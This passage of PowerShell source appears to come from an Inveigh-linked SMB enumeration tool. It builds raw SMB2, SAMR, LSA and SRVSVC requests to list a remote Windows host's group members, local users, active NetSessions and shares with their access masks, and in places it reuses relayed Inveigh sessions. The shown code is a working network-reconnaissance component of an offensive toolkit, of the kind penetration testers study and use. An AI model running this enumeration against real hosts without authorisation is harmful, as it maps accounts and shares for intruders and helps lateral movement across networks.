$response_user_type_bytes = $response_user_type_array_bytes[($response_user_type_start..($response_user_type_start + 3))] - $response_user_type_start += 4 - $response_user_type = [System.BitConverter]::ToInt16($response_user_type_bytes,0) - - if($response_user_type -eq 1) - { - $response_user_type_list += "user" - } - else - { - $response_user_type_list += "group" - } - - } - - $i = 0 - - ForEach($user in $response_username_list) - { - $response_user_object = New-Object PSObject - Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name Username $user - Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name Type $response_user_type_list[$i] - $response_user_list += $response_user_object - $i++ - } - - if($Action -eq 'All') - { - Write-Output "$Group Users:" - } - - Write-Output $response_user_list | Sort-Object -property Username |Format-Table -AutoSize - $stage = 'CloseRequest' - } - - 'ParseLookupSids' - { - [Byte[]]$response_domain_count_bytes = $client_receive[144..147] - $response_domain_count = [System.BitConverter]::ToInt16($response_domain_count_bytes,0) - $response_domain_start = $response_domain_count * 12 + 172 - $response_domain_end = $response_domain_start - $response_domain_length_start = 160 - $response_domain_list = @() - $i = 0 - - while($i -lt $response_domain_count) - { - [Byte[]]$response_domain_length_bytes = $client_receive[$response_domain_length_start..($response_domain_length_start + 1)] - $response_domain_length = [System.BitConverter]::ToInt16($response_domain_length_bytes,0) - $response_domain_end = $response_domain_start + $response_domain_length - [Byte[]]$response_actual_count_bytes = $client_receive[($response_domain_start - 4)..($response_domain_start - 1)] - $response_actual_count = [System.BitConverter]::ToInt16($response_actual_count_bytes,0) - [Byte[]]$response_domain_bytes = $client_receive[$response_domain_start..($response_domain_end - 1)] - - if($response_actual_count % 2) - { - $response_domain_start += $response_domain_length + 42 - } - else - { - $response_domain_start += $response_domain_length + 40 - } - - $response_domain = [System.BitConverter]::ToString($response_domain_bytes) - $response_domain = $response_domain -replace "-00","" - $response_domain = $response_domain.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $response_domain = New-Object System.String ($response_domain,0,$response_domain.Length) - $response_domain_list += $response_domain - $response_domain_length_start = $response_domain_length_start + 12 - $i++ - } - - [Byte[]]$response_user_count_bytes = $client_receive[($response_domain_start - 4)..($response_domain_start - 1)] - $response_user_count = [System.BitConverter]::ToInt16($response_user_count_bytes,0) - $response_user_start = $response_user_count * 16 + $response_domain_start + 12 - $response_user_end = $response_user_start - $response_user_length_start = $response_domain_start + 4 - $response_user_list = @() - $i = 0 - - while($i -lt $response_user_count) - { - $response_user_object = New-Object PSObject - [Byte[]]$response_user_type_bytes = $client_receive[($response_user_length_start - 4)] - [Byte[]]$response_user_length_bytes = $client_receive[$response_user_length_start..($response_user_length_start + 1)] - $response_user_length = [System.BitConverter]::ToInt16($response_user_length_bytes,0) - $response_SID_index_start = $response_user_length_start + 8 - [Byte[]]$response_SID_index_bytes = $client_receive[$response_SID_index_start..($response_SID_index_start + 3)] - $response_SID_index = [System.BitConverter]::ToInt16($response_SID_index_bytes,0) - $response_user_end = $response_user_start + $response_user_length - [Byte[]]$response_actual_count_bytes = $client_receive[($response_user_start - 4)..($response_user_start - 1)] - $response_actual_count = [System.BitConverter]::ToInt16($response_actual_count_bytes,0) - [Byte[]]$response_user_bytes = $client_receive[$response_user_start..($response_user_end - 1)] - - if($response_actual_count % 2) - { - $response_user_start += $response_user_length + 14 - } - else - { - $response_user_start += $response_user_length + 12 - } - - if($response_user_type_bytes -eq 1) - { - $response_user_type = "user" - } - else - { - $response_user_type = "group" - } - - - $response_user = [System.BitConverter]::ToString($response_user_bytes) - $response_user = $response_user -replace "-00","" - $response_user = $response_user.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $response_user = New-Object System.String ($response_user,0,$response_user.Length) - Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name Username $response_user - Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name Domain $response_domain_list[$response_SID_index] - Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name Type $response_user_type - $response_user_length_start = $response_user_length_start + 16 - $response_user_list += $response_user_object - $i++ - } - - if($Action -eq 'All') - { - Write-Output "$Group Group Members:" - } - - Write-Output $response_user_list | Sort-Object -property Username |Format-Table -AutoSize - $stage = 'CloseRequest' - } - - 'ParseSRVSVC' - { - $response_object_list = @() - $share_list = @() - [Byte[]]$response_count_bytes = $client_receive[152..155] - $response_count = [System.BitConverter]::ToInt32($response_count_bytes,0) - $response_item_index = 164 - $i = 0 - - while($i -lt $response_count) - { - - if($i -gt 0) - { - - if($response_item_length % 2) - { - $response_item_index += $response_item_length * 2 + 2 - } - else - { - $response_item_index += $response_item_length * 2 - } - - } - else - { - - if($action_stage -eq 'Share') - { - $response_item_index += $response_count * 12 - } - else - { - $response_item_index += $response_count * 16 - } - - } - - $response_item_object = New-Object PSObject - [Byte[]]$response_item_length_bytes = $client_receive[$response_item_index..($response_item_index + 3)] - $response_item_length = [System.BitConverter]::ToInt32($response_item_length_bytes,0) - $response_item_index += 12 - [Byte[]]$response_item_bytes = $client_receive[($response_item_index)..($response_item_index + ($response_item_length * 2 - 1))] - $response_item = [System.BitConverter]::ToString($response_item_bytes) - $response_item = $response_item -replace "-00","" - $response_item = $response_item.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $response_item = New-Object System.String ($response_item,0,$response_item.Length) - - if($response_item_length % 2) - { - $response_item_index += $response_item_length * 2 + 2 - } - else - { - $response_item_index += $response_item_length * 2 - } - - [Byte[]]$response_item_length_bytes = $client_receive[$response_item_index..($response_item_index + 3)] - $response_item_length = [System.BitConverter]::ToInt32($response_item_length_bytes,0) - $response_item_index += 12 - [Byte[]]$response_item_2_bytes = $client_receive[($response_item_index)..($response_item_index + ($response_item_length * 2 - 1))] - $response_item_2 = [System.BitConverter]::ToString($response_item_2_bytes) - $response_item_2 = $response_item_2 -replace "-00","" - $response_item_2 = $response_item_2.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $response_item_2 = New-Object System.String ($response_item_2,0,$response_item_2.Length) - - if($action_stage -eq 'Share') - { - $share_list += $response_item - Add-Member -InputObject $response_item_object -MemberType NoteProperty -Name Share $response_item - Add-Member -InputObject $response_item_object -MemberType NoteProperty -Name Description $response_item_2 - Add-Member -InputObject $response_item_object -MemberType NoteProperty -Name "Access Mask" "" - } - else - { - Add-Member -InputObject $response_item_object -MemberType NoteProperty -Name Username $response_item_2 - Add-Member -InputObject $response_item_object -MemberType NoteProperty -Name Source $response_item - } - - $response_object_list += $response_item_object - $i++ - } - - if($Action -eq 'All' -and $action_stage -eq 'Share') - { - Write-Output "Shares:" - } - elseif($Action -eq 'All' -and $action_stage -eq 'NetSession') - { - Write-Output "NetSessions:" - Write-Output $response_object_list | Sort-Object -property Share |Format-Table -AutoSize - } - - if($Action -eq 'NetSession') - { - Write-Output $response_object_list | Sort-Object -property Share |Format-Table -AutoSize - } - - $stage = 'CloseRequest' - } - - 'ParseUsers' - { - [Byte[]]$response_user_count_bytes = $client_receive[148..151] - $response_user_count = [System.BitConverter]::ToInt16($response_user_count_bytes,0) - $response_user_start = $response_user_count * 12 + 172 - $response_user_end = $response_user_start - $response_RID_start = 160 - $response_user_length_start = 164 - $response_user_list = @() - $i = 0 - - while($i -lt $response_user_count) - { - $response_user_object = New-Object PSObject - [Byte[]]$response_user_length_bytes = $client_receive[$response_user_length_start..($response_user_length_start + 1)] - $response_user_length = [System.BitConverter]::ToInt16($response_user_length_bytes,0) - [Byte[]]$response_RID_bytes = $client_receive[$response_RID_start..($response_RID_start + 3)] - $response_RID = [System.BitConverter]::ToInt16($response_RID_bytes,0) - $response_user_end = $response_user_start + $response_user_length - [Byte[]]$response_actual_count_bytes = $client_receive[($response_user_start - 4)..($response_user_start - 1)] - $response_actual_count = [System.BitConverter]::ToInt16($response_actual_count_bytes,0) - [Byte[]]$response_user_bytes = $client_receive[$response_user_start..($response_user_end - 1)] - - if($response_actual_count % 2) - { - $response_user_start += $response_user_length + 14 - } - else - { - $response_user_start += $response_user_length + 12 - } - - $response_user = [System.BitConverter]::ToString($response_user_bytes) - $response_user = $response_user -replace "-00","" - $response_user = $response_user.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $response_user = New-Object System.String ($response_user,0,$response_user.Length) - Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name Username $response_user - Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name RID $response_RID - $response_user_length_start = $response_user_length_start + 12 - $response_RID_start = $response_RID_start + 12 - $response_user_list += $response_user_object - $i++ - } - - if($Action -eq 'All') - { - Write-Output "Local Users:" - } - - Write-Output $response_user_list | Sort-Object -property Username |Format-Table -AutoSize - $stage = 'CloseRequest' - } - - 'QueryGroupMember' - { - $message_ID++ - $stage_current = $stage - $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SAMR_data = New-PacketSAMRQueryGroupMember $group_handle - $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data - $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x10,0x00,0x00,0x00 0x00,0x00 0x19,0x00 - $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..15] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - - } - - 'QueryInfoRequest' - { - $message_ID++ - $stage_current = $stage - $packet_SMB_header = New-PacketSMB2Header 0x10,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SMB_data = New-PacketSMB2QueryInfoRequest 0x01 0x05 0x18,0x00,0x00,0x00 0x68,0x00 $file_ID - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $SMB_header + $SMB_data - $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..15] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - - } - - 'ReadRequest' - { - Start-Sleep -m $Sleep - $message_ID++ - $stage_current = $stage - $packet_SMB_header = New-PacketSMB2Header 0x08,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SMB_data = New-PacketSMB2ReadRequest $file_ID - $packet_SMB_data["Length"] = 0x00,0x04,0x00,0x00 - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $SMB_header + $SMB_data - $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..15] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - - } - - 'RPCBind' - { - $message_ID++ - $stage_current = $stage - $packet_SMB_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_RPC_data = New-PacketRPCBind $frag_length $call_ID $num_ctx_items 0x00,0x00 $named_pipe_UUID $named_pipe_UUID_version - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB_data = New-PacketSMB2WriteRequest $file_ID $RPC_data.Length - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $SMB_header + $SMB_data + $RPC_data - $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..15] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - - } - - 'SAMRCloseRequest' - { - $message_ID++ - $stage_current = $stage - $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SAMR_data = New-PacketSAMRClose $SAMR_domain_handle - $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data - $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x09,0x00,0x00,0x00 0x00,0x00 0x01,0x00 - $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..15] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - - } - - 'StatusPending' - { - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if([System.BitConverter]::ToString($client_receive[12..15]) -ne '03-01-00-00') - { - $stage = $stage_next - } - - } - - 'StatusReceived' - { - - switch ($stage_current) - { - - 'CloseRequest' - { - - if($step -eq 1) - { - $named_pipe = 0x73,0x00,0x61,0x00,0x6d,0x00,0x72,0x00 # samr - $stage = 'CreateRequest' - } - elseif($action_stage -eq 'Share' -and $share_list.Count -gt 0) - { - $stage = 'TreeConnect' - } - else - { - $stage = 'TreeDisconnect' - } - - } - - 'Connect2' - { - $step++ - - if($client_receive[119] -eq 3 -and [System.BitConverter]::ToString($client_receive[140..143]) -eq '05-00-00-00') - { - - if($Action -eq 'All') - { - Write-Output "[-] $username does not have permission to enumerate groups, users, and NetSessions on $target" - } - else - { - Write-Output "[-] $username does not have permission to enumerate groups on $target" - } - - $RPC_access_denied = $true - $stage = 'CloseRequest' - } - else - { - $SID_count = 0x04,0x00,0x00,0x00 - [Byte[]]$SAMR_connect_handle = $client_receive[140..159] - $stage = 'OpenDomain' - } - - } - - 'Connect5' - { - $step++ - - if($client_receive[119] -eq 3 -and [System.BitConverter]::ToString($client_receive[140..143]) -eq '05-00-00-00') - { - Write-Output "[-] $username does not have permission to enumerate users on $target" - $stage = 'CloseRequest' - } - else - { - $SID_count = 0x04,0x00,0x00,0x00 - [Byte[]]$SAMR_connect_handle = $client_receive[156..175] - $stage = 'OpenDomain' - } - - } - - 'CreateRequest' - { - - if($action_stage -eq 'Share') - { - $frag_length = 0x48,0x00 - $call_ID = 2 - $num_ctx_items = 0x01 - $named_pipe_UUID = 0xc8,0x4f,0x32,0x4b,0x70,0x16,0xd3,0x01,0x12,0x78,0x5a,0x47,0xbf,0x6e,0xe1,0x88 - $named_pipe_UUID_version = 0x03,0x00 - $stage_next = 'NetShareEnumAll' - } - elseif($action_stage -eq 'NetSession') - { - $frag_length = 0x74,0x00 - $call_ID = 2 - $num_ctx_items = 0x02 - $named_pipe_UUID = 0xc8,0x4f,0x32,0x4b,0x70,0x16,0xd3,0x01,0x12,0x78,0x5a,0x47,0xbf,0x6e,0xe1,0x88 - $named_pipe_UUID_version = 0x03,0x00 - $stage_next = 'NetSessEnum' - } - elseif($step -eq 1) - { - $frag_length = 0x48,0x00 - $call_ID = 5 - $num_ctx_items = 0x01 - $named_pipe_UUID = 0x78,0x57,0x34,0x12,0x34,0x12,0xcd,0xab,0xef,0x00,0x01,0x23,0x45,0x67,0x89,0xac - $named_pipe_UUID_version = 0x01,0x00 - - if($action_stage -eq 'User') - { - $stage_next = 'Connect5' - } - else - { - $stage_next = 'Connect2' - } - - } - elseif($step -gt 2) - { - $frag_length = 0x48,0x00 - $call_ID = 14 - $num_ctx_items = 0x01 - $named_pipe_UUID = 0x78,0x57,0x34,0x12,0x34,0x12,0xcd,0xab,0xef,0x00,0x01,0x23,0x45,0x67,0x89,0xab - $named_pipe_UUID_version = 0x00,0x00 - $named_pipe = 0x78,0x57,0x34,0x12,0x34,0x12,0xcd,0xab,0x76,0x00,0x63,0x00 - $stage_next = 'LSAOpenPolicy' - } - else - { - $frag_length = 0x48,0x00 - $call_ID = 1 - $num_ctx_items = 0x01 - $named_pipe_UUID = 0x78,0x57,0x34,0x12,0x34,0x12,0xcd,0xab,0xef,0x00,0x01,0x23,0x45,0x67,0x89,0xab - $named_pipe_UUID_version = 0x00,0x00 - $named_pipe = 0x78,0x57,0x34,0x12,0x34,0x12,0xcd,0xab,0x76,0x00,0x63,0x00 - $stage_next = 'LSAOpenPolicy' - } - - $file_ID = $client_receive[132..147] - - if($Refresh -and $stage -ne 'Exit') - { - Write-Output "[+] Session refreshed" - $stage = 'Exit' - } - elseif($step -ge 2) - { - $stage = 'RPCBind' - } - elseif($stage -ne 'Exit') - { - $stage = 'QueryInfoRequest' - } - - } - - 'EnumDomainUsers' - { - $step++ - $stage = 'ParseUsers' - } - - 'GetMembersInAlias' - { - $step++ - [Byte[]]$SID_array = $client_receive[140..([System.BitConverter]::ToInt16($client_receive[3..1],0) - 1)] - - if([System.BitConverter]::ToString($client_receive[156..159]) -eq '73-00-00-c0') - { - $stage = 'SAMRCloseRequest' - } - else - { - $named_pipe = 0x6c,0x00,0x73,0x00,0x61,0x00,0x72,0x00,0x70,0x00,0x63,0x00 # lsarpc - $stage = 'CreateRequest' - } - - } - - 'LookupNames' - { - $step++ - [Byte[]]$SAMR_RID = $client_receive[152..155] - - if([System.BitConverter]::ToString($client_receive[156..159]) -eq '73-00-00-c0') - { - $stage = 'SAMRCloseRequest' - } - else - { - - if($step -eq 4) - { - $stage = 'OpenGroup' - } - else - { - $stage = 'OpenAlias' - } - - } - - } - - 'LookupRids' - { - $step++ - $stage = 'ParseLookupRids' - } - - 'LSAClose' - { - $stage = 'CloseRequest' - } - - 'LSALookupSids' - { - $stage = 'ParseLookupSids' - } - - 'LSAOpenPolicy' - { - [Byte[]]$policy_handle = $client_receive[140..159] - - if($step -gt 2) - { - $stage = 'LSALookupSids' - } - else - { - $stage = 'LSAQueryInfoPolicy' - } - - } - - 'LSAQueryInfoPolicy' - { - [Byte[]]$LSA_domain_length_bytes = $client_receive[148..149] - $LSA_domain_length = [System.BitConverter]::ToInt16($LSA_domain_length_bytes,0) - [Byte[]]$LSA_domain_actual_count_bytes = $client_receive[168..171] - $LSA_domain_actual_count = [System.BitConverter]::ToInt32($LSA_domain_actual_count_bytes,0) - - if($LSA_domain_actual_count % 2) - { - $LSA_domain_length += 2 - } - - [Byte[]]$LSA_domain_SID = $client_receive[(176 + $LSA_domain_length)..(199 + $LSA_domain_length)] - $stage = 'LSAClose' - } - - 'NetSessEnum' - { - - if([System.BitConverter]::ToString($client_receive[172..175]) -eq '05-00-00-00') - { - Write-Output "[-] $username does not have permission to enumerate NetSessions on $target" - $stage = 'CloseRequest' - } - else - { - $stage = 'ParseSRVSVC' - } - - } - - 'NetShareEnumAll' - { - $stage = 'ParseSRVSVC' - } - - 'OpenAlias' - { - $step++ - [Byte[]]$SAMR_policy_handle = $client_receive[140..159] - - if([System.BitConverter]::ToString($client_receive[156..159]) -eq '73-00-00-c0') - { - $stage = 'SAMRCloseRequest' - } - else - { - $stage = 'GetMembersInAlias' - } - - } - - 'OpenDomain' - { - $step++ - [Byte[]]$SAMR_domain_handle = $client_receive[140..159] - - if($action_stage -eq 'User') - { - $stage = 'EnumDomainUsers' - } - else - { - $stage = 'LookupNames' - } - - } - - 'OpenGroup' - { - $step++ - [Byte[]]$group_handle = $client_receive[140..159] - $stage = 'QueryGroupMember' - } - - 'QueryGroupMember' - { - $step++ - [Byte[]]$RID_count_bytes = $client_receive[144..147] - $RID_count = [System.BitConverter]::ToInt16($RID_count_bytes,0) - [Byte[]]$RID_list = $client_receive[160..(159 + ($RID_count * 4))] - $stage = 'LookupRids' - } - - 'QueryInfoRequest' - { - $file_ID = $client_receive[132..147] - $stage = 'RPCBind' - } - - 'ReadRequest' - { - $stage = $stage_next - } - - 'RPCBind' - { - $stage = 'ReadRequest' - } - - 'SAMRCloseRequest' - { - $step++ - - if($step -eq 8) - { - Write-Output "[-] $Group group not found" - $stage = 'TreeDisconnect' - } - else - { - - if($step -eq 5 -and $action_stage -eq 'Group') - { - $LSA_domain_SID = 0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x05,0x20,0x00,0x00,0x00 - $SID_count = 0x01,0x00,0x00,0x00 - } - - $stage = 'OpenDomain' - } - - } - - 'TreeConnect' - { - $tree_ID = $client_receive[40..43] - $access_mask = $null - - if($client_receive[76] -eq 92) - { - $tree_access_mask = 0x00,0x00,0x00,0x00 - } - else - { - $tree_access_mask = $client_receive[80..83] - } - - if($share_list.Count -gt 0) - { - - if($client_receive[76] -ne 92) - { - - ForEach($byte in $tree_access_mask) - { - $access_mask = [System.Convert]::ToString($byte,2).PadLeft(8,'0') + $access_mask - } - - $response_object_list | Where-Object {$_.Share -eq $share_list[$j]} | ForEach-Object {$_."Access Mask" = $access_mask} - $stage = 'TreeDisconnect' - } - else - { - $access_mask = "00000000000000000000000000000000" - $response_object_list | Where-Object {$_.Share -eq $share_list[$j]} | ForEach-Object {$_."Access Mask" = $access_mask} - $stage = 'TreeConnect' - $j++ - } - - } - else - { - - if($action_stage -eq 'Share' -or $action_stage -eq 'NetSession') - { - $named_pipe = 0x73,0x00,0x72,0x00,0x76,0x00,0x73,0x00,0x76,0x00,0x63,0x00 # srvsvc - } - else - { - $named_pipe = 0x6c,0x00,0x73,0x00,0x61,0x00,0x72,0x00,0x70,0x00,0x63,0x00 # lsarpc - } - - $tree_IPC = $tree_ID - $stage = 'CreateRequest' - } - - } - - 'TreeDisconnect' - { - - if($Action -eq 'All') - { - - switch ($action_stage) - { - - 'group' - { - - if($RPC_access_denied) - { - $action_stage = "share" - } - else - { - $action_stage = "user" - $step = 0 - } - - $stage = "treeconnect" - } - - 'user' - { - $action_stage = "netsession" - $stage = "treeconnect" - - } - - 'netsession' - { - $action_stage = "share" - $stage = "treeconnect" - } - - 'share' - { - - if($share_list.Count -gt 0 -and $j -lt $share_list.Count - 1) - { - $stage = 'TreeConnect' - $j++ - } - elseif($share_list.Count -gt 0 -and $j -eq $share_list.Count - 1) - { - Write-Output $response_object_list | Sort-Object -property Share |Format-Table -AutoSize - $tree_ID = $tree_IPC - $stage = 'TreeDisconnect' - $j++ - } - else - { - - if($inveigh_session -and !$Logoff) - { - $stage = 'Exit' - } - else - { - $stage = 'Logoff' - } - - } - - } - - } - - } - else - { - - if($action_stage -eq 'Share' -and $share_list.Count -gt 0 -and $j -lt $share_list.Count - 1) - { - $stage = 'TreeConnect' - $j++ - } - elseif($action_stage -eq 'Share' -and $share_list.Count -gt 0 -and $j -eq $share_list.Count - 1) - { - Write-Output $response_object_list | Sort-Object -property Share |Format-Table -AutoSize - $tree_ID = $tree_IPC - $stage = 'TreeDisconnect' - $j++ - } - else - { - - if($inveigh_session -and !$Logoff) - { - $stage = 'Exit' - } - else - { - $stage = 'Logoff' - } - - } - - } - - } - - } - - } - - 'TreeConnect' - { - $message_ID++ - $stage_current = $stage - - if($share_list.Count -gt 0) - { - $path = "\\" + $Target + "\" + $share_list[$j] - $path_bytes = [System.Text.Encoding]::Unicode.GetBytes($path) - } - - $packet_SMB_header = New-PacketSMB2Header 0x03,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SMB_data = New-PacketSMB2TreeConnectRequest $path_bytes - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $SMB_header + $SMB_data - $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..15] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - - try - { - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - - } - catch - { - Write-Output "[-] Session connection is closed" - $stage = 'Exit' - } - - } - - 'TreeDisconnect' - { - $message_ID++ - $stage_current = $stage - $packet_SMB_header = New-PacketSMB2Header 0x04,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SMB_data = New-PacketSMB2TreeDisconnectRequest - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $SMB_header + $SMB_data - $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..15] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - - } - - } - - } - catch - { - $error_message = $_.Exception.Message - $error_message = $error_message -replace "`n","" - Write-Output "[-] $error_message" - } - - } - - - } - - if($inveigh_session -and $Inveigh) - { - $inveigh.session_lock_table[$session] = 'open' - $inveigh.session_message_ID_table[$session] = $message_ID - $inveigh.session_list[$session] | Where-Object {$_."Last Activity" = Get-Date -format s} - } - - if(!$inveigh_session -or $Logoff) - { - $client.Close() - $client_stream.Close() - } - -} - -}
